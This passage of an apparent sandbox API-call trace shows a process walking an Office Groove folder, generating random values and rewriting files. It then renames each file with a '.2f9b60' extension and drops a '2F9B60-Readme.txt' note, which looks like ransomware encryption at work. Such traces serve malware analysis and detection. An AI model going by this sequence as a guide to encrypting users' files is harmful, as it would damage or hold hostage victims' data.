(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc30 [0219.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff160 [0219.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0219.636] NtQuerySystemTime (in: CurrentTime=0x2c34fcc0 | out: CurrentTime=0x2c34fcc0*=132462178236334000) returned 0x0 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x163e70c8 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0xf2d59c [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x7599f87b [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x29c32d89 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x59c9217f [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x5ae6194f [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x49ef7c41 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x6e1b6f79 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x1b3e16ef [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x79bd9d2a [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0xf41e3ca [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x11fc92d9 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x79ae2f48 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x4d294327 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0xd98a841 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x191d5658 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x2bfdd9d8 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x71c0aca2 [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x2839021b [0219.636] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x4767109e [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x13faee58 [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x33565d6e [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x34105aab [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x52952b0a [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x2819f245 [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x542cd075 [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x2d47b9cb [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x58b431ac [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x4da25d9c [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x3182f904 [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x88e5c49 [0219.637] RtlRandomEx (in: Seed=0x2c34fcb0 | out: Seed=0x2c34fcb0) returned 0x18bb241 [0219.644] ReadFile (in: hFile=0x3240, lpBuffer=0x428345f0, nNumberOfBytesToRead=0x1fec, lpNumberOfBytesRead=0x2c34fcb0, lpOverlapped=0x0 | out: lpBuffer=0x428345f0*, lpNumberOfBytesRead=0x2c34fcb0*=0x1fec, lpOverlapped=0x0) returned 1 [0219.646] SetFilePointerEx (in: hFile=0x3240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.646] WriteFile (in: hFile=0x3240, lpBuffer=0x4285daa0*, nNumberOfBytesToWrite=0x1fec, lpNumberOfBytesWritten=0x2c34fcb4, lpOverlapped=0x0 | out: lpBuffer=0x4285daa0*, lpNumberOfBytesWritten=0x2c34fcb4*=0x1fec, lpOverlapped=0x0) returned 1 [0222.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcaa0 [0222.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc110 [0222.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc110) returned 1 [0222.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4285daa0) returned 1 [0222.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428345f0) returned 1 [0222.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0222.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61790) returned 1 [0222.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431acc20 [0222.577] SetFilePointerEx (in: hFile=0x3240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.578] WriteFile (in: hFile=0x3240, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2c34fdd0, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x2c34fdd0*=0x10e, lpOverlapped=0x0) returned 1 [0223.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168000) returned 1 [0223.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431acc60) returned 1 [0223.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc110) returned 1 [0223.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431acc20) returned 1 [0223.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcaa0) returned 1 [0223.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff160) returned 1 [0223.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb70) returned 1 [0223.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0223.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x431151a0 [0223.113] wcscpy (in: _Dest=0x431151a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" [0223.113] wcscat (in: _Dest=0x431151a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg.2f9b60" [0223.113] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg.2f9b60", NtPathName=0x2c34fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xec) returned 0x1b78e780 Thread: id = 3682 os_tid = 0x3f8 [0218.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431099b0 [0218.318] wcscpy (in: _Dest=0x431099b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" [0218.318] wcscat (in: _Dest=0x431099b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\" [0218.318] wcscat (in: _Dest=0x431099b0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*" [0218.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20900 [0218.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d8b0 [0219.858] wcscmp (_String1=".", _String2=".") returned 0 [0219.858] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.858] wcscmp (_String1="..", _String2=".") returned 1 [0219.858] wcscmp (_String1="..", _String2="..") returned 0 [0219.858] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="COMPUT~1.JPG")) returned 1 [0219.858] wcscmp (_String1="computericon.jpg", _String2=".") returned 1 [0219.858] wcscmp (_String1="computericon.jpg", _String2="..") returned 1 [0219.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x431127f0 [0219.858] wcscpy (in: _Dest=0x431127f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" [0219.858] wcscat (in: _Dest=0x431127f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\" [0219.859] wcscat (in: _Dest=0x431127f0, _Source="computericon.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" [0219.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg")) returned 0x20 [0219.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg", dwFileAttributes=0x20) returned 1 [0220.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11f4 [0220.043] GetFileSizeEx (in: hFile=0x11f4, lpFileSize=0x21bafba0 | out: lpFileSize=0x21bafba0*=3611) returned 1 [0220.043] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0xe17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.043] ReadFile (in: hFile=0x11f4, lpBuffer=0x21bafb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21bafb68, lpOverlapped=0x0 | out: lpBuffer=0x21bafb20*, lpNumberOfBytesRead=0x21bafb68*=0x4, lpOverlapped=0x0) returned 1 [0221.193] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0221.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b920 [0221.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ac30 [0221.195] NtQuerySystemTime (in: CurrentTime=0x21bafa60 | out: CurrentTime=0x21bafa60*=132462178251934000) returned 0x0 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x1a5f91c [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x6055fd50 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x26c1e025 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x61328793 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x43b25d18 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x6e6f315b [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x16fd2387 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x1513b86d [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0xeccc140 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x1860fb12 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x71a13a3c [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x46701fea [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x2cf56e25 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x55a8a0b2 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x3d4b02c [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x561f5a34 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x6444294b [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x62547bcb [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x50f9ff02 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x9079286 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x794e43b5 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x7aef6605 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x4efbed19 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x206c452e [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x2e914ed3 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x62338042 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x7ac741c [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x21587f4b [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x68145f29 [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x522646bb [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x4ec7295a [0221.196] RtlRandomEx (in: Seed=0x21bafa50 | out: Seed=0x21bafa50) returned 0x7e32dfb2 [0221.206] ReadFile (in: hFile=0x11f4, lpBuffer=0x423f2110, nNumberOfBytesToRead=0xe1b, lpNumberOfBytesRead=0x21bafa50, lpOverlapped=0x0 | out: lpBuffer=0x423f2110*, lpNumberOfBytesRead=0x21bafa50*=0xe1b, lpOverlapped=0x0) returned 1 [0221.206] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.206] WriteFile (in: hFile=0x11f4, lpBuffer=0x42ab8ed0*, nNumberOfBytesToWrite=0xe1b, lpNumberOfBytesWritten=0x21bafa54, lpOverlapped=0x0 | out: lpBuffer=0x42ab8ed0*, lpNumberOfBytesWritten=0x21bafa54*=0xe1b, lpOverlapped=0x0) returned 1 [0223.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fddb0 [0223.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0223.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0223.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ab8ed0) returned 1 [0223.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423f2110) returned 1 [0223.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0223.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62410) returned 1 [0223.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431ade20 [0223.089] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0223.089] WriteFile (in: hFile=0x11f4, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x21bafb70, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x21bafb70*=0x112, lpOverlapped=0x0) returned 1 [0223.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167700) returned 1 [0223.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ade60) returned 1 [0223.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0223.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ade20) returned 1 [0223.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fddb0) returned 1 [0223.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b920) returned 1 [0223.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a870) returned 1 [0223.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82afc0) returned 1 [0223.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x431578a0 [0223.725] wcscpy (in: _Dest=0x431578a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" [0223.725] wcscat (in: _Dest=0x431578a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg.2f9b60" [0223.725] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg.2f9b60", NtPathName=0x21bafb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78ee80 [0223.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ee80) returned 1 [0223.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42cca390) returned 1 [0223.820] NtQueryInformationFile (in: FileHandle=0x11f4, IoStatusBlock=0x21bafbf8, FileInformation=0x21bafc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21bafbf8, FileInformation=0x21bafc08) returned 0x0 [0223.820] NtSetInformationFile (FileHandle=0x11f4, IoStatusBlock=0x21bafbf8, FileInformation=0x21bafc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431578a0) returned 1 [0223.878] FlushFileBuffers (hFile=0x11f4) returned 1 [0224.012] CloseHandle (hObject=0x11f4) returned 1 [0224.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1186e0 [0224.969] wcscpy (in: _Dest=0x1186e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\" [0224.969] wcscat (in: _Dest=0x1186e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\2F9B60-Readme.txt" [0224.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\2f9b60-readme.txt")) returned 0xffffffff [0224.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a24 [0225.520] WriteFile (in: hFile=0x2a24, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x21bafab0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x21bafab0*=0xba9, lpOverlapped=0x0) returned 1 [0225.969] CloseHandle (hObject=0x2a24) returned 1 [0226.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1186e0) returned 1 [0226.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431127f0) returned 1 [0226.561] FindNextFileW (in: hFindFile=0x1cd9d8b0, lpFindFileData=0x1ce20900 | out: lpFindFileData=0x1ce20900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="COMPUT~1.BMP")) returned 1 [0226.561] wcscmp (_String1="computericonMask.bmp", _String2=".") returned 1 [0226.561] wcscmp (_String1="computericonMask.bmp", _String2="..") returned 1 [0226.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776f50 [0226.561] wcscpy (in: _Dest=0x1b776f50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" [0226.561] wcscat (in: _Dest=0x1b776f50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\" [0226.561] wcscat (in: _Dest=0x1b776f50, _Source="computericonMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" [0226.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp")) returned 0x20 [0226.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp", dwFileAttributes=0x20) returned 1 [0226.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a70 [0226.563] GetFileSizeEx (in: hFile=0x2a70, lpFileSize=0x21bafba0 | out: lpFileSize=0x21bafba0*=2104) returned 1 [0226.563] SetFilePointerEx (in: hFile=0x2a70, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.563] ReadFile (in: hFile=0x2a70, lpBuffer=0x21bafb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21bafb68, lpOverlapped=0x0 | out: lpBuffer=0x21bafb20*, 